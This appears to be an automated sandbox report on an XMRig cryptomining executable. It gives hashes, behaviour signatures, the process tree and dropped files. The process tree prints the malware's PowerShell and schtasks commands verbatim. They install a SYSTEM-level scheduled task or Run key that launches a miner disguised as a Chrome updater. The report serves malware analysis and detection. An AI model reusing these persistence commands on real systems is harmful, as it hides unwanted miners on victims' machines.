Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2024 16:07

General

  • Target

    ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe

  • Size

    2.0MB

  • MD5

    b280cc4e78a7bff8d072713f8b4beb29

  • SHA1

    76e5ab8eda5c292b4f602e8a73c037f4623cb172

  • SHA256

    ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1

  • SHA512

    51e8208fefa8cb51930468aa172f7b07056bf98281d7baf0108537fbab1291f1fc1826e708dec31f57432f7627eb2bccb3d05dc924b1e38f4b290ecb03c7861d

  • SSDEEP

    49152:BMJt5dwHjwTFKLpVI1M5crh/XBSgqJXEjvZ80eYcZxXBkK8jXCv:Bot4DrVaEcugqJUDDcZl4C

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 28 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1208
      • C:\Users\Admin\AppData\Local\Temp\ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe
        "C:\Users\Admin\AppData\Local\Temp\ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#grrqr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwcaup#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#grrqr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2876
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe bjecouybve
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:2288
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          PID:1996
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
          2⤵
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2104
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            PID:2320
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe dawljevacynemhmk 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnasCD7XnRLS04n/3PSQs4Y8p6xe1bGyOY+8Z8xp48QJueDeTETxFigw/gLPZY+zEogUGWJwIe0AnFUo5KGehIuSRD8LakQ2BzY76sQikKRo5YsnCeK/QrMiYGenOchYS4YmzB1SO5TDIHyuOuvYhgcxxFuuLlNJu0EGD3BPwarLoVEPwRT4xy6xyOSAVSH1wbSbPT0AK/BX0WsIoOE2qYBbW+WixLTgx7HjhKf0L4MRjwKSBvXZaWontgosxNwPppX9KP6jbKsfw7RDUuDo3lmia8ZSURXiB81FAoYkSLU7IBM0OymWsiXcl9u5srNjQA0k5GNYIMU+Fr+NfudwZ5jbqLyO1Fcpzprom2yaNY2GpW0EyVPrfNHarAXQ7RU0Of1LBbxblkg3LpJLPkqCsoF9v1d5xB21h7eDMgBuz7Q4hpHFL23KscuMzSbz1a80gIlw/62lQaY2MB6rC/wo0N8JLI5mh3ejpdCL2Fu3Uwdf3h2YDJHY49lSbf2BO3+0/sufm7JB2KrBZSJapq4f7Apf
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2896
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {060FF692-C18F-4466-A76E-069D636E96D8} S-1-5-18:NT AUTHORITY\System:Service:
        1⤵
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Program Files\Google\Chrome\updater.exe
          "C:\Program Files\Google\Chrome\updater.exe"
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1920

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Program Files\Google\Libs\g.log

        Filesize

        198B

        MD5

        37dd19b2be4fa7635ad6a2f3238c4af1

        SHA1

        e5b2c034636b434faee84e82e3bce3a3d3561943

        SHA256

        8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

        SHA512

        86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        5010f82bc4b0b6da95656fb0f6c73d00

        SHA1

        af17a5a72e351c56de85177b75610c749e7197f1

        SHA256

        2fe7c7ac50eb1e1648ae06a4e783d47328a7603c5a77535319fa50d50a9bf30f

        SHA512

        9f47b316a2c3164dbf049efc3b6443c99deb016a4e9d74cad7df1f84a027b70890f89f1bb9dcad7b93d78652f03c86933db1281f7f4f72373f5ef5d0770a21d9

      • \??\PIPE\srvsvc

        MD5

        d41d8cd98f00b204e9800998ecf8427e

        SHA1

        da39a3ee5e6b4b0d3255bfef95601890afd80709

        SHA256

        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

        SHA512

        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

      • \Program Files\Google\Chrome\updater.exe

        Filesize

        2.0MB

        MD5

        b280cc4e78a7bff8d072713f8b4beb29

        SHA1

        76e5ab8eda5c292b4f602e8a73c037f4623cb172

        SHA256

        ae3ae350218998f35fe4582d010844c4f62490af30af438c1735e5037d115fc1

        SHA512

        51e8208fefa8cb51930468aa172f7b07056bf98281d7baf0108537fbab1291f1fc1826e708dec31f57432f7627eb2bccb3d05dc924b1e38f4b290ecb03c7861d

      • memory/1920-34-0x000000013FB90000-0x000000013FDA1000-memory.dmp

        Filesize

        2.1MB

      • memory/1920-25-0x000000013FB90000-0x000000013FDA1000-memory.dmp

        Filesize

        2.1MB

      • memory/2288-43-0x0000000140000000-0x0000000140016000-memory.dmp

        Filesize

        88KB

      • memory/2288-36-0x0000000140000000-0x0000000140016000-memory.dmp

        Filesize

        88KB

      • memory/2684-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

        Filesize

        9.6MB

      • memory/2684-6-0x000000001B3C0000-0x000000001B6A2000-memory.dmp

        Filesize

        2.9MB

      • memory/2684-11-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

        Filesize

        9.6MB

      • memory/2684-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

        Filesize

        9.6MB

      • memory/2684-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

        Filesize

        9.6MB

      • memory/2684-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

        Filesize

        9.6MB

      • memory/2684-5-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

        Filesize

        4KB

      • memory/2684-7-0x0000000002850000-0x0000000002858000-memory.dmp

        Filesize

        32KB

      • memory/2696-20-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

        Filesize

        2.9MB

      • memory/2696-21-0x0000000001D60000-0x0000000001D68000-memory.dmp

        Filesize

        32KB

      • memory/2708-0-0x000000013FEF0000-0x0000000140101000-memory.dmp

        Filesize

        2.1MB

      • memory/2708-14-0x000000013FEF0000-0x0000000140101000-memory.dmp

        Filesize

        2.1MB

      • memory/2896-37-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-46-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-38-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-40-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-42-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-35-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-44-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-33-0x00000000000B0000-0x00000000000D0000-memory.dmp

        Filesize

        128KB

      • memory/2896-48-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-50-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-52-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-54-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-56-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB

      • memory/2896-58-0x0000000140000000-0x00000001407F4000-memory.dmp

        Filesize

        8.0MB